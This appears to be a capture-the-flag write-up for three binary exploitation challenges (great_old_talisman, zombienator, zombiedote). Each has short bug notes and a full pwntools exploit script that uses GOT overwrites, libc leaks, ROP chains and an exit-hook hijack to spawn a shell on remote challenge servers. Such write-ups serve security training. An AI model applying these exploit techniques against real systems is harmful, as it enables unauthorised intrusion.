TL;DR:
nothing here.
PWN:
pwn_great_old_talisman:
- no check for the input, we could use this to perform a oob write
- overwrites the low 2bytes of
exit@got[plt]
to that ofread_flag
func
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./great_old_talisman")
io=remote("94.237.54.197",53139)
elf=ELF("./great_old_talisman")
libc=elf.libc
# gdb.attach(io)
# pause()
io.sendlineafter(b">> ",str(-4))
io.sendafter(b"Spell: ",b"\x5a\x13")
io.interactive()
pwn_zombienator:
- use
delete
to make a libc_addr leakage and we have all the addr we need for rop chain - in
attack
function we have a chance to directly write on the stack , due to thescanf
as input , use+
or-
to not to overwrite until the return addr , to bypass the canary check . And we have our rop chain written on return addr .
( be careful when we write our rop chain , it uses scanf("%lf")
, so we have to use double formation as input
from pwn import *
import struct
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./zombienator")
io=remote("94.237.58.77",50672)
elf=ELF("./zombienator")
libc=elf.libc
def double_float(value):
return str(struct.unpack('!d', p64(value)[::-1])[0])
def add(s,n):
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"tier: ",str(s))
io.sendlineafter(b"9): ",str(n))
def delete(n):
io.sendlineafter(b">> ",b"2")
io.sendlineafter(b"position: ",str(n))
def show():
io.sendlineafter(b">> ",b"3")
def attack():
io.sendlineafter(b">> ",b"4")
# gdb.attach(io)
# pause()
for i in range(8):
add(0x80,i)
add(0x20,8)
for i in range(8):
delete(i)
show()
io.recvuntil(b"Slot [7]: ")
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x219ce0
print("leak_addr: ",hex(leak_addr))
sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
pop_rdi=leak_addr+0x2a3e5
# 0x000000000002a3e5: pop rdi; ret;
ret=leak_addr+0xf9e3c
# 0x00000000000f9e3c: ret;
print("str_sh: ",hex(str_sh))
print("sys_addr: ",hex(sys_addr))
rop=[double_float(ret),double_float(pop_rdi),double_float(str_sh),double_float(sys_addr)]
attack()
io.sendlineafter(b"attacks: ",b"39")
for i in range(35):
io.sendlineafter(b"coordinates: ",b"+")
# gdb.attach(io)
# pause()
for i in range(4):
io.sendlineafter(b"coordinates: ",rop[i])
io.interactive()
pwn_zombiedote:
just like the chall before , this one also uses %lf
as input and it has even %lf
as output , so just write 2 func to perform as encode and decode
- malloc a huge size to cover as many sections as it can in memory , therefore we can perform a aaw read or write
- one chance for the
inspect
function , use it to leak the libc in libc section , the offset needs to be manually tested . - idk what the intend solution is , I tried to hijack the
exit_hook
(I named it , offset tested manually) , where we have access to write to , and it will finally be called in theexit
function , we could overwrite it withone_gadget
, choose the proper one to fulfill the restrictions .
from pwn import *
import struct
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("83.136.255.126",55297)
# io=process("./zombiedote")
elf=ELF("./zombiedote")
libc=elf.libc
def double_float(value):
return str(struct.unpack('!d', p64(value)[::-1])[0])
def double_to_hex(val):
return int.from_bytes(struct.pack("d", val), "little")
def add(s):
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"samples: ",str(s))
def insert(s):
io.sendlineafter(b">> ",b"2")
io.sendlineafter(b"tested: ",str(s))
def edit(n,cc):
io.sendlineafter(b">> ",b"4")
io.sendlineafter(b"number: ",str(n))
io.sendlineafter(b"(%): ",double_float(cc))
def show(s):
io.sendlineafter(b">> ",b"5")
io.sendlineafter(b"inspect: ",str(s))
io.recvuntil(b": ")
hex_string=double_to_hex(float(io.recvuntil(b"\n",drop=True)))
print("hex_string: ",hex(hex_string))
return hex_string
# gdb.attach(io)
add(0x40040000)
print("test: ",double_to_hex(1.619794219890527e-319))
### libc_leakage
leak_addr=show(0x40083af0)-0x2197e3
print("leak_addr: ",hex(leak_addr))
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
exit_hook=leak_addr+0x21a6c8
shell=leak_addr+0xeea9c
pop_rdi=leak_addr+0x2e6c5
# 0x000000000002e6c5: pop rdi; ret;
ret=leak_addr+0x2c7a9
# 0x000000000002c7a9: ret;
# rop_addr=leak_addr-0x200203ff0
# rop=[ret,pop_rdi,str_sh,sys_addr]
insert(0x4)
for i in range(4):
io.sendlineafter(b"(%): ",double_float(0xdeadbeef))
# RBX 0x7ffff7fb26c8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e86a9c (execvpe+652) ◂— mov rdx, r12
# 0x7ffff7de157d <__run_exit_handlers+429> jae 7ffff7de158bh <__run_exit_handlers+443>
# 0x7ffff7de157f <__run_exit_handlers+431> nop
# ► 0x7ffff7de1580 <__run_exit_handlers+432> call qword ptr [rbx]
# gdb.attach(io)
edit(5,0)
edit(0x40083cd7,shell)
io.sendlineafter(b">> ",b"3")
io.interactive()
# 0xeea9c execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
# 0xeea9f execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
# 0xeeaa2 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL